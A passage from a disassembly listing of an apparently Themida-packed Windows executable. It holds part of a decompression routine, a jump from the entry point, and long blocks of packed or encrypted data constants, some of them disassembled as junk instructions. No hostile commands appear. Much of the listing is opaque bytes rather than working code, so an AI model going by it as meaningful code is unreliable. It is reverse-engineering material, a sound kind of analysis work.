dl loc_48F1C9: ; CODE XREF: sub_48F11B+A7j adc ecx, ecx add dl, dl jnz short loc_48F1D4 mov dl, [esi] inc esi adc dl, dl loc_48F1D4: ; CODE XREF: sub_48F11B+B2j jb short loc_48F1C0 push esi mov esi, edi sub esi, ebp rep movsb pop esi jmp loc_48F132 ; --------------------------------------------------------------------------- loc_48F1E3: ; CODE XREF: sub_48F11B+9Ej dec eax shl eax, 8 mov al, [esi] inc esi mov ebp, eax mov ecx, 1 loc_48F1F1: ; CODE XREF: sub_48F11B:loc_48F205j add dl, dl jnz short loc_48F1FA mov dl, [esi] inc esi adc dl, dl loc_48F1FA: ; CODE XREF: sub_48F11B+D8j adc ecx, ecx add dl, dl jnz short loc_48F205 mov dl, [esi] inc esi adc dl, dl loc_48F205: ; CODE XREF: sub_48F11B+E3j jb short loc_48F1F1 cmp eax, 7D00h jnb short loc_48F228 cmp eax, 500h jb short loc_48F223 inc ecx push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_48F132 ; --------------------------------------------------------------------------- loc_48F223: ; CODE XREF: sub_48F11B+F8j cmp eax, 7Fh ja short loc_48F22B loc_48F228: ; CODE XREF: sub_48F11B+F1j add ecx, 2 loc_48F22B: ; CODE XREF: sub_48F11B+10Bj push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_48F132 ; --------------------------------------------------------------------------- loc_48F238: ; CODE XREF: sub_48F11B:loc_48F153j mov al, [esi] inc esi xor ecx, ecx shr al, 1 jz short loc_48F259 adc ecx, 2 mov ebp, eax push esi mov esi, edi sub esi, eax rep movsb pop esi mov ebx, 1 jmp loc_48F132 ; --------------------------------------------------------------------------- loc_48F259: ; CODE XREF: sub_48F11B+125j sub edi, [esp+20h+arg_4] mov [esp+20h+var_4], edi popa retn 8 sub_48F11B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_48F265: ; CODE XREF: start:loc_48F076j ; start+9Dj jmp loc_4FA844 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- word_48F26A dw 38E9h ; DATA XREF: start+77o dd 1523570h, 3B22F2BAh, 0CEBF3B84h, 0FFBE1001h, 0FE11018Eh dd 0B82488AFh, 0F3F4EF47h, 71FCFFBCh, 572303DCh, 2C9DA75Fh dd 0E10398E6h, 21C8AF0Bh, 0F0FE43B8h, 1C736552h, 0CE726174h dd 2E2F7041h, 239C784Fh, 3691D5F5h, 45EB8570h, 335E690h dd 92F20EE1h, 0F0AE112Eh, 0E656854h, 6164696Dh, 0C7AEEF10h dd 770803AAh, 54514B55h, 14B33F9h, 0E45D8570h, 70225C11h dd 0F0D78578h, 0D4E4C58Bh, 44E86038h, 0ED81005Dh, 622357Fh dd 65309589h, 75B50D02h, 71858829h, 3D833140h, 0C04119BDh dd 8B390C74h, 0B8E216E8h, 0DEC2B923h, 24443870h, 0B493EE2h dd 0E8456A00h, 6829C0A3h, 783749Ah, 0AA0DFF4h, 893D4B25h dd 14D5220Ah, 0EC0214E9h db 0AFh, 0A0h ; --------------------------------------------------------------------------- push ebp mov ebp, esp adc eax, 0EED8C483h sbb byte ptr [edx-7Fh], 0EAh insd or byte ptr ss:[ebx+45C712DAh], 0D8h ; CODE XREF: Themida_:0048F36Dj or ss:[esi], cl xor [eax-77h], eax or [ecx-737F0683h], al sbb eax, 8200F74h inc byte ptr [ebx+3010D749h] call dword ptr [edx] inc ebx jmp short near ptr loc_48F34B+5 ; --------------------------------------------------------------------------- db 0C6h dd 2661DC36h, 0C228C9E8h, 810D4604h, 2FF7CC4h, 88B6491Ch dd 8002458Dh, 0C7085D8Bh, 50198885h, 10A8D94h, 1888C3D1h dd 0B518941h, 644BD81h, 0E3755D05h, 518D2728h, 75D864BAh dd 0E8A0980h, 5B20F4BBh, 5437ABB8h, 0D0D3781Fh, 4B080F98h dd 0AF77675h, 4647C3AFh, 0C546484Ah, 0D14245F9h, 0E8A7461h dd 0B1BFF0D0h, 41FC45EEh, 4704EB4Dh, 804691ADh, 0F7408A3Eh dd 346D84BAh, 320C7DCCh, 0F83E7FEBh, 12906D19h, 0F40E99F0h dd 0C14A1050h, 4F02865h, 0D1F807D6h, 2CC203E0h, 0DB033328h dd 80301C8Ah, 0A7299FBh, 77390A87h, 0DEEBA705h, 6114224Ch dd 0ACF0DFEh, 1E08ED66h, 0AC3E9EBh, 1A8610D5h, 0A0B7241h dd 677461Bh, 143D424h, 0EC0EF05Dh, 637D83F4h, 66B07202h dd 0A576C00Ch, 26C8AAECh, 8DC039F8h, 3BA840EDh, 0F15FC55h dd 38BD7882h, 38AA37B0h, 81CBACAh, 7015B91Ch, 20BD3EFCh dd 0FFE0137h, 0FA754947h, 6AD3E7B9h, 0F101BBB8h, 823B0972h dd 26FEBh, 39E8868Eh, 51071C23h, 0A2361F65h, 26778AEEh dd 20F2E989h, 0DBB81059h, 2C00F3E4h, 80C482C3h, 0CC08A841h dd 6192F130h, 12EA5718h, 3C3C8C35h, 160280EFh, 72FC27D2h dd 3164BD83h, 5B351EA8h, 0DB96707h, 8C536234h, 0BFCB93DAh dd 3982800Fh, 60765B4Eh, 3D517C0Fh, 3BF8D104h, 62C346ECh dd 0AB2E0975h, 480E0111h, 9065E4ECh, 845C4006h, 8E1905C5h dd 53F3FB96h, 0C204151Eh, 718C0329h, 6EE78205h, 0FFCCE20Eh dd 7730812Bh, 341D2204h, 0F98406C1h, 0BC207533h, 0ADD3F41h dd 309CEFD9h, 0EC41CE02h, 0CC7F8C26h, 4043FF7Eh, 0E9A9453Fh dd 0C4624060h, 4D028C52h, 0AA821125h, 0AB3413B1h, 1322845Ah dd 5EDF9856h, 6EE1482h, 50813Ah, 0F58A89C4h, 0A1344B9h dd 52439723h, 6BDFD103h, 4E957D8h, 5F211DC3h, 758A90C4h dd 4597A125h, 211B0898h, 0C4485747h, 6DE105D4h, 0FB03A0BEh dd 9D10DA8Dh, 79F12310h, 5E28114h, 8C1CB831h, 36C76203h dd 809A231Dh, 0E881E4h, 0BE08C4Eh, 4F8610CAh, 0AFB431CEh dd 14F60FC8h, 19023682h, 0EAD918E0h, 0A1E0110Ah, 3A1F0DEEh dd 949F8595h, 231D3C9Bh, 590E51A4h, 458A44C4h, 41201762h dd 32D0C451h, 9F8C0BBh, 85755827h, 925CB422h, 0BC0B014Ch dd 4AF09381h, 63AAFE8Ah, 0EBB81E34h, 2740107Bh, 995CA0E9h dd 96FE00A4h, 2EC9BDE7h, 5A00FA0Ch, 0CD2009BFh, 20C28280h dd 610C7556h, 3B0E8110h, 0B0860E9h, 0D34C680h, 0BB61CC07h dd 0B730625Ch, 1668AAFh, 6F2DC382h, 40EA9B77h, 300BC465h dd 4BF55B00h, 1A8C8AC3h, 0C8AAA061h, 68DC1381h, 4A1B0362h dd 7AE6F724h, 0BF8B03F0h, 0CE9F3h, 0BEF8D0Fh, 46AD306Dh dd 1F22D105h, 4F00EA17h, 72C0E09Ah, 5D7E1873h, 68F45A60h dd 24671414h, 301C22F6h, 0D90B13E9h, 5F004F4Bh, 79321E1Dh dd 1C9EDCCh, 51C27DFEh, 8CA0B3FBh, 0A860F3AEh, 0E14001Eh dd 3C70C074h, 54612A61h, 290FC20h, 82C7D0h, 1B8B2CEAh dd 0B260C034h, 0AF550128h, 0A172869h, 964C2FBBh, 5DB273h dd 499FC061h, 50C8DD3Ch, 0F0F04474h, 8008486Fh, 0C631DEA2h dd 76AF1FBEh, 0A842801Ch, 0B50F8778h, 840B4700h, 0D7DC9588h dd 3C4829D8h, 0CAAA8F20h, 0AF370C0h, 0C400EE30h, 0D3BF40BBh dd 1A39E5Fh, 0A060C505h, 0C42C4974h, 1B28CD24h, 4A442421h dd 0A4EA007Ah, 4ED835BAh, 50E2E4BDh, 0A500E87Fh, 150BDA73h dd 7F7CB25h, 0DC4A7DE7h, 0B216B0CCh, 0F4057595h, 84E23C4Ch dd 85422C08h, 8052B127h, 31BB0A84h, 250CFE03h, 0BDBF9Bh dd 7C513948h, 0F96F2B2Ch, 0BE1A2702h, 41DCB349h, 51BCCC3Ch dd 6BA4118Ah, 0F8D68080h, 86E11B8Ah, 1230580Fh, 0CF916094h dd 0D5905h, 42CB1ABDh, 0FA375FE1h, 0DB63A900h, 182C5BC0h dd 2BFDF943h, 0DC991880h, 4EF06E69h, 91D769C0h, 152BB51h dd 0D9588D02h, 0EF6C06B7h, 40D36FE9h, 253ADE48h, 0CD184C06h dd 194A29h, 72877FD0h, 60424626h, 0C463C012h, 0F8BF0040h dd 0E8A8E3A5h, 0EBA22C48h, 0FB52037Eh, 0DFF046A9h, 0B7744F87h dd 20207C50h, 0A928C37Eh, 5F188C39h, 9B8144EFh, 889D1EF3h dd 0F761408Fh, 7EAF3EC3h, 0CD7228C2h, 8F2B2046h, 18C21E85h dd 274DEF37h, 0A7EDD310h, 699912B8h, 0E5C42F00h, 8AF716B4h dd 53EC3ED5h, 0F886CD00h, 0BDCF593Fh, 28E2C9C7h, 0A00026E5h dd 10AD82C8h, 3AD900B0h, 0E018BD9Bh, 7F01D397h, 4627AA7Bh dd 0DC506EA4h, 0BD6AFBh, 4B0CF532h, 0EB9DD2A9h, 9BFFD500h dd 67AE8BBCh, 28E070DCh, 0FA8C48E3h, 5F17BFCh, 0C566DB53h dd 1BB44055h, 73268BE4h, 2BE9C4A0h, 9A317970h, 4BC4808Dh dd 536F298Eh, 0A1C01200h, 4330CCDBh, 7FD4B829h, 0A09D6A8Bh dd 6086602Ch, 7600BA23h, 0EB43E916h, 630FB5h, 0C4F0E5C2h dd 66E1FD13h, 9CD96F24h, 0A9A2DC41h, 3A6DF024h, 0A3827AB5h dd 7DD6D7CEh, 9BACE48Fh, 0D80C9899h, 31A45A4Dh, 0D4CE5272h dd 0A044307Ch, 0B9592F19h, 3D110E61h, 0D1871CC5h, 30839823h dd 0AD384F2Ah, 0C0AB8200h, 0BB5499FBh, 262EF24Bh, 601016C3h dd 0E06133A1h, 0FC23A207h, 0B7B01556h, 2096064h, 3491FE4Bh dd 0A483BFD5h, 6A89CFF0h, 628C41A0h, 0EE108C40h, 54A4C850h dd 77759472h, 15DA1ED1h, 0C01400A3h, 0B883DBF5h, 460A9974h dd 0B41DB7E1h, 8943F00Ch, 9477007Eh, 0DE2BAD98h, 674C6462h dd 0FC8B1004h, 0D0C1487Fh, 0C03C241Dh, 3D7EC3FEh, 472A4DB5h dd 97028C9Dh, 0A1404362h, 0C868407Ch, 0F48CA954h, 3CACC1F4h dd 0E68031FBh, 5F7F79FCh, 8C30CF49h, 0E15AC056h, 98326F19h dd 0EACBF783h, 32F818F1h, 0FB2400D0h, 4A7E1C25h, 3A9E003Dh dd 7C0139B3h, 4803D530h, 0C2C7CEBFh, 4150014Eh, 1338BCE0h dd 3483D3A7h, 4FAE08E0h, 2162A100h, 29442ED9h, 0D5650083h dd 7DE0118Bh, 4E036891h, 2686C207h, 0DAADA0EEh, 8AE60050h dd 0B48B6AC3h, 0EF04F0Bh, 3D985D3Eh, 88F005Ah, 61BBB2D6h dd 7DE80011h, 0DB190D89h, 97008A75h, 0DD99C117h, 0B81F4C08h dd 127F12h, 374DBCB0h, 0D6380A1Bh, 20BB2915h, 0DCED10CCh dd 0C5D3DE09h, 7B226090h, 0DB0ACB77h, 8CA5A2BBh, 0A2B2FC8Fh dd 0E0A81DCCh, 14D5FF93h, 84844EC7h, 0F0014406h, 1803582Ah dd 9B24DB5Ch, 12107F1Eh, 4D7F6AC7h, 0D051A720h, 0F6041EE0h dd 95F99318h, 24887C88h, 800867CBh, 2F403BD6h, 4B685AD7h dd 4E004841h, 5EC386B3h, 0F7970025h, 2B4678Fh, 300278AFh dd 63B34A3Bh, 7ECA0BFh, 10B9C4Ch, 3AE8DD1Fh, 0A9521EC6h dd 0E9E50F1h, 2EF5C741h, 5660193Bh, 0A71C13C0h, 0D0440F46h dd 148A56C5h, 0E0615478h, 40484D9Bh, 0B26A3F4Ch, 0C8F1B900h dd 0B340C197h, 0E970243Bh, 94268958h, 3840481h, 208062CBh dd 8EC30801h, 281222F9h, 0CD6E4C43h, 63A11856h, 0C605D1CBh dd 0E12F9800h, 14D71C2Dh, 544E02A6h, 80D1E2A7h, 7303B0C0h dd 0A4BE52h, 5B8A016Fh, 2B871B0h, 0A068A3C5h, 6F614ED4h dd 0B25980C8h, 9CC9C4C7h, 0D06E0029h, 186AB373h, 0EF30DDD6h dd 0C9C6894Bh, 0DF190010h, 132F6CE8h, 7E004671h, 4F408BDEh dd 98B08C17h, 0C4B24460h, 982FF42Ah, 0CD14197Fh, 90C0151Eh dd 0E6F3002Ch, 1B28470Dh, 2C1C00EFh, 296387B4h, 0B80231C0h dd 93E0E358h, 0C824AE1Dh, 3C419EB1h, 9EC66F89h, 0C7636C23h dd 0AC8ED900h, 27837473h dd 71BD03D7h, 0D6A2D194h, 0BC600F92h, 3D5C49FBh, 0C3CC1275h dd 7FB94040h, 0E0854080h, 6944697Bh, 0CCC2F801h, 695064CBh dd 0BE02D090h, 0F8E31C23h, 687C4803h, 5C934CDBh, 0C0A00493h dd 6FA544EEh, 0CA94A4D0h, 7291002Bh, 54EEC312h, 8102556Dh dd 3CEBA627h, 1C78C4C8h, 40C3FD03h, 0BC4CCB41h, 822C90CDh dd 93042FD6h, 0BCC0694Dh, 40F6ACF1h, 1F8845F9h, 0E8AB0795h dd 82411687h, 40C4A35Bh, 0E92F7600h, 0AC39E042h, 6877017Dh dd 0CBEA9B56h, 8480CE43h, 0FB25D93Ch, 10CAAB32h, 0CE2840DBh dd 6461C657h, 251ED9CDh, 0FC00749Ch, 5CA2EF39h, 3DA400BFh dd 12E01D48h, 0B2AE111h, 0C309901Bh, 2268176h, 0C050DD78h dd 0B9CB6F74h, 0FD47845Ch, 0A4A8012Fh, 8193BF3Fh, 0AD58306Dh dd 0FA00D7A2h, 300BCA15h, 665C4D96h, 102FE1AAh, 6035EC1Bh dd 0C100108h, 12376F0Ah, 0DC088334h, 1E60363Ah, 1C68FA10h dd 4676C09Ch, 83CB254Fh, 9379EF60h, 1D2782Dh, 0AC683CECh dd 60CF3D38h, 0C985EA6h, 50F1C618h, 54C15299h, 0DC3D8CD9h dd 27D5128h, 0FDFBF1D4h, 6334C01Ah, 3E29C0C6h, 0D7D2C9EDh dd 87AE273Bh, 75111FDAh, 29682240h, 4AA12E97h, 5D0980F0h dd 9BCBF13Bh, 48334601h, 28796EC3h, 18A2208Bh, 201F348Fh dd 9958C830h, 0BBD97Dh, 4EAD4919h, 1146DCB6h, 41A10414h dd 0B73805DAh, 0C29C4Bh, 0A3246037h, 3C7980F4h, 0B7D34D3Fh dd 0F7A110CDh, 0BA85DFD4h, 8A4FB23h, 4780C768h, 0BD15C5A3h dd 6F3E07D1h, 0E095EA5Dh, 93CB84E5h, 0C148DA63h, 2486E346h dd 4D00C6D9h, 72ED5D0h, 0CE6308F3h, 74F80059h, 70BB4D9Ah dd 0BD0E9E4Eh, 98C7CB85h, 0C40B251h, 0A967B747h, 5CB9A5C8h dd 7636B003h, 57BA88EFh, 422A00CDh, 0D4FCDA97h, 0CE76B3BBh dd 41C62D02h, 6A9D6367h, 0C8F84160h, 51F842D6h, 926B0E6Ch dd 601CEAA1h, 4E80C433h, 0C3122AE2h, 0C480093Eh, 307346CDh dd 0DF8170A3h, 8F7C2117h, 509EF700h, 2D4BE8BFh, 0B75F040Ah dd 0B465C502h, 9EF0CF24h, 25C6C0C4h, 0F8507888h, 246C4872h dd 0F0F7EB3Ch, 289B60E6h, 0F72315C0h, 0F8C54129h, 264DE000h dd 43592h, 0F5FAD161h, 6898F3B1h, 0CE99840Bh, 53D80380h dd 16E03D3Ch, 0D54006F5h, 0B91CCD74h, 9689F00h, 376733D4h dd 18A83B1Ah, 0EA2D280h, 592946C3h, 17A5F0C0h, 9ACF404Dh dd 9F0ACEA8h, 23C6B1F8h, 0F4CE64A1h, 0C9834E62h, 0C7E92F63h dd 0FF023428h, 0CC1B9B84h, 0B241E882h, 100E0C61h, 0CEC1983Bh dd 55003F71h, 63305B69h, 10F049h, 1677A04Dh, 0E7F109h dd 0CCD5A758h, 486A011Eh, 6F7E4400h, 0AF3B5FD3h, 42BA4B59h dd 5BD4DC6Ch, 0A4DCF4AAh, 0F7A03800h, 2419EC80h, 8C414081h dd 684227C6h, 0E1246369h, 0C2C7DB67h, 0BC4E45h, 0FFAD0DB8h dd 6A864864h, 0AC9ADC00h, 12B315ABh, 0C7D30A23h, 909456AAh dd 84488F1Fh, 4402845Ah, 18706F29h, 1A3EAD80h, 889C8848h dd 3BDC8042h, 22CF2D3Dh, 88B06E55h, 0CF147C8h, 0B9F1CC64h dd 0EEEF8E00h, 0BBE9B34Ch, 878401E2h, 0A70F64A2h, 0F5B8618Fh dd 63620026h, 1C39C7C5h, 0C9F72301h, 84BBC0A7h, 0B0CE771Fh dd 0E3B940D5h, 9429FF4Ah, 93E600ACh, 14C18C79h, 0C6152000h dd 2B12EA5Ah, 0D57D0631h, 0A881A39Fh, 0DB005C7Ch, 0C86F6736h dd 0F1D2A75h, 0F028A3Ah, 77B3C1C7h, 856E425Ah, 0D9368468h dd 6CA54512h, 8F015440h, 0E43E008h, 0E4AB4C7h, 2849FEE0h dd 6100CB80h, 0C58187B8h, 1354DD6h, 0B9656D2Ch, 0D2529BACh dd 42080444h, 18433729h, 1C917092h, 31596880h, 3D2874C7h dd 796C39A3h, 88381000h, 591CADF1h, 7F6F0099h, 44C901D2h dd 0EF07DCFEh, 2D12CED6h, 438BA15h, 0A8BD88CAh, 645F9800h dd 521EB427h, 0A00F1C2Fh, 7BE20CC3h, 0B70C2D18h, 402C24C6h dd 0B2A80067h, 902B8B33h, 0EF003BAAh, 0F9ACBF01h, 3D0E7CBDh dd 0B8087ECBh, 0B003CC94h, 7C84021Eh, 685D6258h, 800EAD4h dd 80CB34A9h, 0BD72935Bh, 9237BF00h, 0A0E70939h, 71E00E3h dd 0DBFE14B6h, 0A83FB048h, 8780EF0Ah, 1083B4DFh, 94100184h dd 5EC5546h, 0EFACD47Fh, 0D06C6200h, 0A8B3A78Ah, 0A529C21Ch dd 80802CF6h, 2A2FCDD1h, 579D5F01h, 0DAD8EFBBh, 0CCA8F9B2h dd 8565A02Fh, 0BEF008h, 0EC9607C2h, 0B248DC33h, 0A08EE52h dd 0B4BBA9D4h, 0D046AE06h, 522EF041h, 0FB01C0A8h, 0E480B257h dd 53908F83h, 79E6ECC4h, 3670629h, 21E880ABh, 0A83FBA15h dd 0EE2D02C0h, 0A110C39Ah, 628E3318h, 0C486360h, 0F00746AAh dword_49005C dd 9288A670h, 0A40F0A82h, 0EAC918Ch, 3EE0608Ah, 0FEBE1295h ; DATA XREF: ___:off_427B6Co dd 5A960618h, 24EE4C41h, 83100E11h, 9F4BE6AAh, 0BE29AC98h dd 0C124D200h, 0C2269C63h, 0DE98A1CBh, 956AE11h, 0A87C3E60h dd 54127598h, 0E72B8DEh, 66BF39B2h, 6A80418Eh, 0C93B7FC1h dd 2F6B272Eh, 0BD86E606h, 0D4BC32B9h, 34209EC8h, 0C1FE715h dd 0CFAA3FECh, 2F62BEE8h, 0A028A810h, 88D1B790h, 24DF751Bh dd 8A7C53C3h, 0D828ED7Ah, 18D0A117h, 0D2ABF028h, 0C558CF2Bh dd 81B33EF1h, 1E5B1460h, 32D010FAh, 0A0465425h, 6B5705BCh dd 681AD4ADh, 6D0C1340h, 39451E32h, 0C5920057h, 0B5DE4834h dd 23087A0h, 8AD4912Fh, 6F4490EFh, 448A4942h, 3F15D63Ch dd 1DA4E3ABh, 0D4EAFB16h, 0EEF58A8h, 344A4981h, 7C5EF488h dd 92F80F5Bh, 0DF430BB8h, 0D124B2D4h, 3500C872h, 0B6E74534h dd 48BA5113h, 0F923BC1Eh, 0E9AF2E61h, 12C56186h, 0F8812040h dd 5A8570Fh, 0B7BC43B9h, 61282FC4h, 0BD4254ECh, 1ED6E10h dd 323EF73Bh, 7180441Fh, 902F6CC3h, 160076BBh, 6309F40Ah dd 98BF8C12h, 0CC70A918h, 0CD56EECh, 1AA93FB9h, 0EA1FAE81h dd 202BB210h, 82BC4414h, 84C3F729h, 9C9392A0h, 0E0800B4h dd 12B2EF4Ch, 0B9491403h, 49EB1810h, 0C54D38h, 0ACED186Ah dd 97279DA2h, 9062B100h, 29EA01F0h, 0BDE4000Bh, 51E11217h dd 7EF2A49Dh, 0D4E3Dh, 6AAF1B38h, 1EB1025h, 0C039A5D6h dd 3160315Fh, 5829F8E9h, 289E3700h, 8845173Ch, 0CC0F00A3h dd 3E190D4Dh, 40C0E418h, 0A8B5EAF6h, 5F9F004Fh, 0DF4641Fh dd 5A013598h, 8853BDE0h, 74CD41ECh, 784F1F60h, 43E015Fh dd 0F42C6AB6h, 25F430B3h, 6C5D9F2Ch, 7ED50448h, 0F21F8A8h dd 0AEA6C109h, 32D8004Fh, 1F16027Dh, 0CE132D98h, 1A8058BBh dd 0D1A39246h, 1020CC00h, 28153FF0h, 0C029779Ch, 0CE27A440h dd 0A77C1CD6h, 3A9F0D00h, 46CAEE5Ah, 39170014h, 9CAF3EDDh dd 0E43D1637h, 6A1C9052h, 9BACBF04h, 0A7360328h, 0E8B583F9h dd 7C6DC5Ah, 4DEC475Ch, 0AE00DBD7h, 52E010FBh, 9CE50505h dd 38C02228h, 0E6CE32AFh, 0FA6A3830h, 2938AB26h, 1FD87594h dd 0B0AD00F4h, 64C029A1h, 1B00A731h, 5A28B50Dh, 46C219h dd 9241DC88h, 388A0BAAh, 597460F3h, 22D7B60Eh, 9DAD8110h dd 62CC92E4h, 4020061h, 0E848EC98h, 110043D0h, 3B9FFADFh dd 61E905Ah, 5D44F222h, 0E084028h, 0E9EAEB4h, 1D2062B3h dd 12ECB70Dh, 5A00BEF4h, 9D04F316h, 78CCC7AAh, 55F2002Ch dd 5CD6B618h, 0A22CB3FAh, 0B10CE2A8h, 160F401Dh, 6A0EE6B7h dd 0B050BF8Ch, 0EAED0120h, 0C032A5B0h, 2073CDB2h, 0E505EBB5h dd 40BB5559h, 89548C80h, 7EC200A9h, 39250E3Ah, 6A09B318h dd 58B9ED1Eh, 9D8B00A2h, 0A1C771Bh, 0B0020ABh, 4A5983E5h dd 3810416h, 1E8EC4A7h, 5883879h, 5C009DEFh, 9FB5C0EAh dd 0FA2CA23h, 0B7EDA726h, 535A2C60h, 217945BAh, 769B0400h dd 222D8F0Ah, 143A00E2h, 175C70E4h, 0A977A6B3h, 1ED68B00h dd 0B505AF64h, 0F54D0B26h, 0AC044383h, 3685403Fh, 2944F310h dd 23880F5Bh, 0F47F04h, 38EF7E8Fh, 71F18696h, 3B628C01h dd 7D12AF52h, 0E8B0344Ah, 76009245h, 71AF5E8Dh, 28C38F9h dd 0C50D8032h, 101426A6h, 35F78D4h, 0C197AFB7h, 0D517E094h dd 39C08ABBh, 59B8636Ah, 2129890Ch, 0C0D50883h, 6A586021h dd 7217A56Bh, 0A090AE2Eh, 0B44C91h, 8B329A98h, 6DBB812Bh dd 5A26B60Bh, 0E0F4E823h, 49B588B2h, 0DA80AA0Ch, 0CBA303Ch dd 6C5D1A76h, 5CA08538h, 52008E3Dh, 0BE48BF83h, 0AC5A63DEh dd 681C411Ch, 0A0B080E0h, 89ADA7h, 0E2D4072Bh, 80963265h dd 48DC2D0Ah, 2A1CD053h, 628D3170h, 34F5BFCh, 69AC4674h dd 21210830h, 0FC5AE6h, 5EA2CF8Bh, 608A72B1h, 0E5B28800h dd 5FD7F139h, 0B39B003Fh, 9DC29AEDh, 0BCA43832h, 4B4CEE07h dd 0AEC07144h, 0BE200246h, 4AA988D4h, 68963383h, 0E0A06E2Bh dd 3F850EE8h, 8850A3A9h, 912A10A8h, 30D4720Ch, 0C3E26D19h dd 0D97BBB00h, 0BFF72888h, 5E02032Fh, 2150C634h, 0A0B25804h dd 0A50A412Eh, 0B8024F80h, 0CC80DC20h, 3715449Dh, 627B5007h dd 53B15F4Dh, 328E4CDFh, 0BD61F603h, 816B9DA8h, 62BB5730h dd 899D2ED5h, 0E603C00Dh, 29665FB4h, 2609AC65h, 36B5400h dd 2C06E79h, 754D0250h, 9884DD28h, 0AE3F4313h, 0D4311533h dd 0BD0090B1h, 63B00DE3h, 8901DDDBh, 929C974h, 39803C19h dd 4E064454h, 3A0FEB1Dh, 0E08173E1h, 5D4FC63Dh, 95FCA9DDh dd 0FC086018h, 0C451B44Dh, 58E84025h, 2E7CEFCh, 2E326D7Ah dd 0D898A1ADh, 3801834h, 1EED00A9h, 0E04C5D2Bh, 0BE0529B4h dd 1358269Ch, 0FA32DCE4h, 0C96501EEh, 919E0951h, 0A108A5E9h dd 0EE1885A0h, 3E3377C0h, 29003A76h, 0D8F052ADh, 0B8A09F2Ch dd 3023BC1h, 0BE26B432h, 404421Dh, 0D54653C8h, 9C00A1B5h dd 7C1C8B66h, 0F47B02h, 16A6B382h, 30A841EBh, 6B6751C0h dd 0F0B463B8h, 9090A166h, 20FCF519h, 90AC39ECh, 0E72444h dd 0DD55FC5Bh, 0BE70D893h, 95B25A1Eh, 48DB82BDh, 84BD57E2h dd 0E4605C84h, 0C92361EEh, 1811F1h, 97EEDC51h, 304D6C29h dd 0C1194712h, 0D1D8ED6h, 0E802FB95h, 68C0A0BBh, 13084C28h dd 1ED05996h, 0DA988468h, 0A844D169h, 7C33004h, 948CA92Ah dd 0D4702295h, 7F98A09Fh, 0EE434BEh, 9B488B15h, 0D0E82A2Bh dd 0A903B976h, 7EF5C0AEh, 0BBFDA0AAh, 0FBF61DB4h, 666F407Fh dd 4B16629Ah, 0F818453Ah, 0A740510Ch, 14B6692Bh, 0D829E24Eh dd 5FB8C909h, 8C00A03Fh, 0D346B7D5h, 0FA5C0479h, 0C1EA822Eh dd 86BAB8B0h, 0AFC5B7E1h, 0B42E24C1h, 0ADD9415Ch, 7AC01774h dd 64C5C3E9h, 54F73028h, 8C23E804h, 0C756E900h, 58FAC8B7h dd 0E48D22DCh, 28782C3Fh, 424EC847h, 0E8901054h, 1008C1Ah dd 0AFD78DFh, 0F250D8BCh, 32271230h, 29202133h, 6399801Bh dd 3D44E2E4h, 0A02E0728h, 203A74C1h, 7D6C1FCCh, 3C995304h dd 0F8B8ECAEh, 1E322D0Fh, 30584979h, 3988A1D0h, 323C20B6h dd 3A4DE200h, 6BDFF5F4h, 98BE127Dh, 2054F17Ah, 20401C0Ch dd 58F0A14Ch, 34C6818h, 0F0AF2B11h, 6B002011h, 0FC7A0391h dd 3E07B670h, 4639E9E3h, 16841879h, 0A9110289h, 879A6967h dd 0BD5CFC82h, 3645A05Eh, 85C6FC24h, 0AB6A1CC1h, 9F858765h dd 3A44DFE3h, 0BA488359h, 3412591Dh, 0E05D52D6h, 9B193ED8h dd 0DAEF00D3h, 0B67C0472h, 0D4015A60h, 9892D8B5h, 30803442h dd 0A8B47263h, 10C04026h, 0B9122243h, 49BB7B8Dh, 4B014CCCh dd 0EDAAD834h, 0E8ABF3BCh, 1EB41906h, 0A190DD89h, 0DF185B0Ch dd 0C968EE08h, 400BC4F9h, 0F4EE1788h, 0E3D90B5Bh, 0B100A462h dd 2D67B26Fh, 2629FB90h, 0E201285Eh, 0E1C963EEh, 0DA83000Eh dd 1F9476EEh, 0ACD2012Ch, 0C5E0F6EBh, 0DA142434h, 0DE46B40Ch dd 0AAB033h, 0E2E0537Bh, 6B692E02h, 880EC4Eh, 5CB00BD2h dd 56E8385Ah, 2FE3008Ch, 6391F343h, 66765933h, 8A6DC209h dd 424AE87h, 0D504B8D8h, 815488B4h, 5A1E4800h, 9DF9FF8Eh dd 31D42479h, 0BF188030h, 33F8C182h, 35B05F0Fh, 6640BE54h dd 40FFC636h, 0D54818BEh, 0A3D6312Ah, 28147DB0h, 10F8180Dh dd 640919C6h, 70045DEFh, 36D6055h, 97B423E1h, 68041911h dd 0B887038Eh, 9FACC0A0h, 94BD86Dh, 24448647h, 42AE2402h dd 18E80409h, 4D0150A3h dd 9B32606Ah, 88CE0C82h, 6A025565h, 0ACAE392Ah, 20A8E435h dd 0A10E15DEh, 9029A83Fh, 0CE551404h, 3DF50920h, 0EF8300D8h dd 4D0B22EAh, 43DCD404h, 188CE138h, 3F81F8E8h, 0D0D864BBh dd 3BFDF80h, 0A4C07642h, 0D9954799h, 72460066h, 5D023755h dd 0EC2EB698h, 42027491h, 60287C4Fh, 8027C430h, 723178BEh dd 2A9AD868h, 32049FAh, 6AC2C0h, 769DBD89h, 0BE3266E1h dd 38363031h, 0F8584CE3h, 2C86024Dh, 9A3B0C8Ch, 1861EC91h dd 0E5030869h, 21C477B4h, 36A6C40h, 4B3F50C2h, 0BF3280FEh dd 74FC9FDCh, 0B025508Eh, 0A131602Ah, 0E4591547h, 0BE1D2104h dd 0D2C0D2DAh, 24B094E0h, 0A4306A7Eh, 0D3802004h, 23943A90h dd 0D4280519h, 46B840B7h, 932AECEBh, 86FA38h, 5E22821Fh dd 38603A70h, 35B046AEh, 0A82E11A8h, 38C4DD74h, 54902212h dd 7CC9F5h, 15B79B0Dh, 0EF601E3Ah, 14A32C1Ch, 0D4C1D205h dd 11BF888h, 22A41121h, 30B24CB9h, 0CC4BC616h, 78344001h dd 0E88B3D52h, 8819AC19h, 8E3185Fh, 19C964EEh, 84400CC4h dd 0C794EEDBh, 22EC53Bh, 26B4640Ah, 0A2B8A036h, 0A434B4Dh dd 0ACD48190h, 0D1C78084h, 0D003B97Ch, 0A3394C00h, 0BF36521h dd 4BBA0FF9h, 5D835777h, 69001412h, 0D8CCB61Bh, 7643852Fh dd 0CAFE4Dh, 6922023h, 83C62D78h, 322A2B15h, 0DF501EF0h dd 0F31C0580h, 0A92CF3Dh, 529C95F7h, 805311E4h, 0B4E30363h dd 6E008767h, 0C1E9036Ch, 